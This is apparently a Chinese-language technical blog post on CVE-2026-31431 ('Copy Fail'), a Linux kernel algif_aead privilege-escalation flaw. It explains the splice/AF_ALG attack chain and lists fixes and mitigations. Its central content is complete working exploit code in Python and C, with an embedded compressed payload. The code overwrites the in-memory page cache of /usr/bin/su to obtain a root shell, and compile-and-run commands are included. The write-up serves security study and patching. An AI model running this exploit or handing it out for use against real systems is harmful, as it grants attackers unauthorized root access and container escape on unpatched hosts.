CVE-2026-31431 的C语言版本

Python版本PoC :位于 https://github.com/theori-io/copy-fail-CVE-2026-31431 仓库内

本文根据python版本复现了C语言版本PoC

摘要

CVE-2026-31431(又称"Copy Fail")是 Linux 内核 algif_aead 模块中存在的一个本地提权漏洞。该漏洞源于 2017 年引入的一项性能优化,使得非特权攻击者能够通过巧妙的系统调用链,非法修改内核页缓存中特权文件(如 /usr/bin/su)的内容,进而在内存层面植入后门并获取 root 权限。由于修改仅限于页缓存且不落盘,传统文件完整性检测工具无法察觉。本文将从技术原理、影响范围、复现环境、漏洞利用细节以及修复方案等多个维度展开分析,并给出 Python 与 C 语言两个版本的 PoC 代码,以供安全研究人员在授权环境中验证学习。

1. 漏洞概述

  • CVE 编号:CVE-2026-31431

  • 漏洞类型:本地提权(LPE)

  • 根本原因crypto/algif_aead.c 中在 AEAD 解密操作时错误地将共享内存页面作为临时缓冲区,导致越界写入 4 字节

  • 利用前提 :本地非特权用户;系统已加载 algif_aead 模块;能够打开并读取目标文件(如 /usr/bin/su

  • 危害:可修改任意特权二进制文件的内存映像,获取 root 权限;在容器场景中亦可实现容器逃逸

2. 影响范围

该漏洞影响自 2017 年(内核 4.14 起)引入 commit 72548b093ee3 至修复补丁(commit a664bf3d603d)合入之前的所有 Linux 内核版本。几乎所有主流发行版均受影响,包括但不限于 Ubuntu、Debian、RHEL、CentOS、Amazon Linux、SUSE 等。Android 系统由于使用 Linux 内核,同样可能受到波及,具体取决于内核版本和 CONFIG_CRYPTO_USER_API_AEAD 配置。

3. 技术原理深度分析

漏洞的核心是利用了内核密码子系统的所谓"copy fail"------在 AEAD 解密路径中未能正确创建页面副本,而是直接复用了用户通过 splice() 传入的文件页缓存作为内部操作缓冲区。具体攻击链如下:

  1. 打开目标文件 :以只读方式打开 /usr/bin/su,获取文件描述符。

  2. 创建 AF_ALG 套接字 :绑定算法类型为 aead,具体算法为 authencesn(hmac(sha256),cbc(aes)),并设置密钥和认证标签长度(authsize=0)。

  3. 拼接页缓存(splice) :通过 splice()su 文件的内核页缓存页直接拼接到一个管道,再将管道拼接到加密操作套接字的输出端。此时加密套接字获得了对原始文件页缓存的引用,而不是创建副本。

  4. 构造恶意载荷 :向加密套接字发送精心设计的数据包,触发 AEAD 解密操作。由于 2017 年的优化,解密函数会将该共享页面作为临时缓冲区使用,并在写入解码结果时发生越界 4 字节写入

  5. 篡改 su 内存映像 :越界写入的 4 字节恰好落在 su 文件页缓存的关键位置,修改了程序的执行逻辑。

  6. 提权 :当用户再次执行 su 时,内核直接从已被"污染"的页缓存中加载代码,攻击者由此获得 root 权限的 shell。

整个攻击过程中,磁盘上的 su 文件内容未发生改变,仅驻留在内存页缓存中。因此,基于文件的完整性检查机制将无法检测到异常。

4. 复现环境

以下为作者验证 PoC 所采用的测试环境(你应当在类似的隔离系统上进行实验):

组件 版本示例
操作系统 Ubuntu 24.04 LTS
内核版本 6.17.0-1007-aws
权限要求 普通用户(非 root)
依赖模块 algif_aead (默认已加载)
重启后处理 测试完毕必须立即重启系统

注意:不同内核版本和发行版可能需要对 PoC 中的硬编码值(如 splice 偏移、算法标识等)进行微调。

5. PoC 代码

以下分别提供 Python 和 C 两个版本的漏洞利用代码。两者逻辑等价,均可在满足条件的测试环境中实现本地提权。

重要声明:以下代码仅供授权安全研究使用。任何未经授权的利用行为均属违法。测试结束后,请务必立即重启系统以清除内存中的篡改痕迹。

5.1 Python 版本

python 复制代码
#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c],
              [(h, 3, i * 4),
               (h, 2, b'\x10' + i * 19),
               (h, 4, b'\x08' + i * 3)],
              32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try:
        u.recv(8 + t)
    except:
        0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
    c(f, i, e[i:i+4])
    i += 4
g.system("su")

代码说明

  • d() 将十六进制字符串转为字节。

  • 压缩的 exploit 载荷通过 zlib 解压后循环写入 su 文件页缓存的不同偏移。

  • 每个 4 字节片段都会触发一次 c() 函数,完成一次越界写入。

5.2 C 语言版本

python 复制代码
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <zlib.h>
#include <linux/if_alg.h>
#include <sys/syscall.h>

#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef MSG_MORE
#define MSG_MORE 32768
#endif

/* 可选:直接嵌入解压后的载荷,避免依赖 zlib 运行时解压 */
/* static const unsigned char payload[] = { ... }; */

static int hex2bin(const char *hex, unsigned char *out, size_t out_len) {
    size_t len = strlen(hex);
    if (len % 2 != 0 || out_len < len/2) return -1;
    for (size_t i = 0; i < len; i += 2) {
        unsigned int byte;
        sscanf(hex + i, "%2x", &byte);
        out[i/2] = (unsigned char)byte;
    }
    return len/2;
}

void corrupt_su(int su_fd, off_t t, const unsigned char c[4]) {
    int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (alg_fd < 0) { perror("socket"); return; }

    struct sockaddr_alg sa = {0};
    sa.salg_family = AF_ALG;
    strcpy((char *)sa.salg_type, "aead");
    strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");

    if (bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind"); close(alg_fd); return;
    }

    unsigned char key_material[72] = {0};
    hex2bin("0800010000000010", key_material, 8);
    setsockopt(alg_fd, SOL_ALG, 1, key_material, sizeof(key_material));  // ALG_SET_KEY
    setsockopt(alg_fd, SOL_ALG, 5, NULL, 4);  // ALG_SET_AEAD_AUTHSIZE

    int op_fd = accept(alg_fd, NULL, NULL);
    if (op_fd < 0) { perror("accept"); close(alg_fd); return; }
    close(alg_fd);

    unsigned char data[8] = { 'A','A','A','A', c[0],c[1],c[2],c[3] };
    struct iovec iov = { .iov_base = data, .iov_len = 8 };

    /* 构造辅助数据 (cmsg) */
    unsigned char ctrl_buf[CMSG_LEN(4) + CMSG_LEN(20) + CMSG_LEN(4)];
    struct cmsghdr *cmsg;

    cmsg = (struct cmsghdr *)ctrl_buf;
    cmsg->cmsg_len = CMSG_LEN(4);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = 3;  // ALG_SET_OP
    memset(CMSG_DATA(cmsg), 0, 4);

    cmsg = (struct cmsghdr *)(ctrl_buf + CMSG_LEN(4));
    cmsg->cmsg_len = CMSG_LEN(20);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = 2;  // ALG_SET_IV
    unsigned char *iv = CMSG_DATA(cmsg);
    iv[0] = 0x10;
    memset(iv + 1, 0, 19);

    cmsg = (struct cmsghdr *)(ctrl_buf + CMSG_LEN(4) + CMSG_LEN(20));
    cmsg->cmsg_len = CMSG_LEN(4);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = 4;  // ALG_SET_AEAD_ASSOCLEN
    unsigned char *assoclen = CMSG_DATA(cmsg);
    assoclen[0] = 0x08;
    memset(assoclen + 1, 0, 3);

    struct msghdr msg = {0};
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = ctrl_buf;
    msg.msg_controllen = sizeof(ctrl_buf);

    if (sendmsg(op_fd, &msg, MSG_MORE) < 0) {
        perror("sendmsg"); close(op_fd); return;
    }

    /* splice 实现页缓存共享 */
    int pipefd[2];
    if (pipe(pipefd) < 0) { perror("pipe"); close(op_fd); return; }
    size_t len = t + 4;
    loff_t src_offset = 0;
    if (splice(su_fd, &src_offset, pipefd[1], NULL, len, 0) < 0) {
        perror("splice 1"); close(pipefd[0]); close(pipefd[1]); close(op_fd); return;
    }
    close(pipefd[1]);
    if (splice(pipefd[0], NULL, op_fd, NULL, len, 0) < 0) {
        perror("splice 2"); close(pipefd[0]); close(op_fd); return;
    }
    close(pipefd[0]);

    unsigned char recv_buf[1024];
    recv(op_fd, recv_buf, 8 + t, 0);
    close(op_fd);
}

int main() {
    printf("[*] CVE-2026-31431 Copy Fail exploit (C version)\n");
    int su_fd = open("/usr/bin/su", O_RDONLY);
    if (su_fd < 0) {
        perror("open /usr/bin/su");
        return 1;
    }

    /* 从 zlib 压缩的十六进制字符串中解压 payload */
    const char *compressed_hex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3";
    size_t hex_len = strlen(compressed_hex);
    unsigned char *compressed = malloc(hex_len/2);
    hex2bin(compressed_hex, compressed, hex_len/2);

    z_stream strm = {0};
    inflateInit(&strm);
    unsigned char *payload = malloc(1024*1024);
    strm.next_in = compressed;
    strm.avail_in = hex_len/2;
    strm.next_out = payload;
    strm.avail_out = 1024*1024;
    int ret = inflate(&strm, Z_FINISH);
    if (ret != Z_STREAM_END) {
        fprintf(stderr, "inflate failed: %d\n", ret);
        free(compressed); free(payload); return 1;
    }
    size_t payload_len = strm.total_out;
    inflateEnd(&strm);
    free(compressed);

    printf("[*] Payload size: %zu bytes\n", payload_len);
    for (size_t i = 0; i < payload_len; i += 4) {
        corrupt_su(su_fd, i, payload + i);
    }

    free(payload);
    close(su_fd);
    printf("[+] Triggering su...\n");
    system("su");
    return 0;
}

编译与运行

bash 复制代码
gcc -o copyfail copyfail.c -lz
./copyfail

如果不想依赖 zlib,可以先用 Python 脚本打印解压后的字节数组,填入 static const unsigned char payload[],并编译时去除 zlib 部分。

6. 修复与缓解建议

6.1 官方修复

  • 将内核更新至包含 commit a664bf3d603d 的版本:

    • Linux Kernel 6.18.22+

    • Linux Kernel 6.19.12+

    • Linux Kernel 7.0+

  • 补丁移除了有问题的优化,恢复了 AEAD 操作的"异地"模式,确保不再直接操作用户传入的页缓存。

6.2 临时缓解措施

如果无法立即重启系统并更新内核,可卸载 algif_aead 模块来封堵攻击面:

bash 复制代码
sudo rmmod algif_aead

若模块被编译进内核(CONFIG_CRYPTO_USER_API_AEAD=y),则卸载无效,必须重启并升级内核。

若要防止模块在重启后自动加载,可创建配置:

bash 复制代码
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf

7. 总结

Copy Fail 漏洞再次证明了内核性能优化与安全性的微妙平衡。一个简单的内存共享优化,在密码子系统的特定上下文中导致了灾难性的提权后果。对于安全从业人员而言,该漏洞的利用链条(splice + AF_ALG)显得极为精巧,同时也提醒我们应当加强对内核加密接口的安全审计。建议所有受影响系统的管理员立刻采取措施,更新内核或实施缓解策略。

参考文献


免责声明:本文仅供安全研究和教育目的。任何未经系统所有者授权的利用行为均属违法,作者不承担任何责任。

相关推荐
xun-ming2 小时前
AI时代Java程序员自救手册
java·开发语言·人工智能
张健11564096482 小时前
C++访问控制与友元
java·开发语言·c++
2zcode2 小时前
基于MATLAB改进最大熵法的大规模新能源并网概率潮流计算
开发语言·matlab
一只幸运猫.2 小时前
JAVA后端面试题
java·开发语言
爱编码的小八嘎2 小时前
C‘语言完美演绎9-11
c语言
还是阿落呀2 小时前
基本控制结构
开发语言·c++·算法
笑虾2 小时前
Win10 修改注册表 让鼠标悬停PNG上时 tip 始终显示分辨率
开发语言·javascript·ecmascript
lolo大魔王2 小时前
Go语言的并发、协调创建和通信机制
开发语言·golang
xxyy8882 小时前
关于labelimg安装后在标注过程中闪退和死机的问题处理
开发语言·python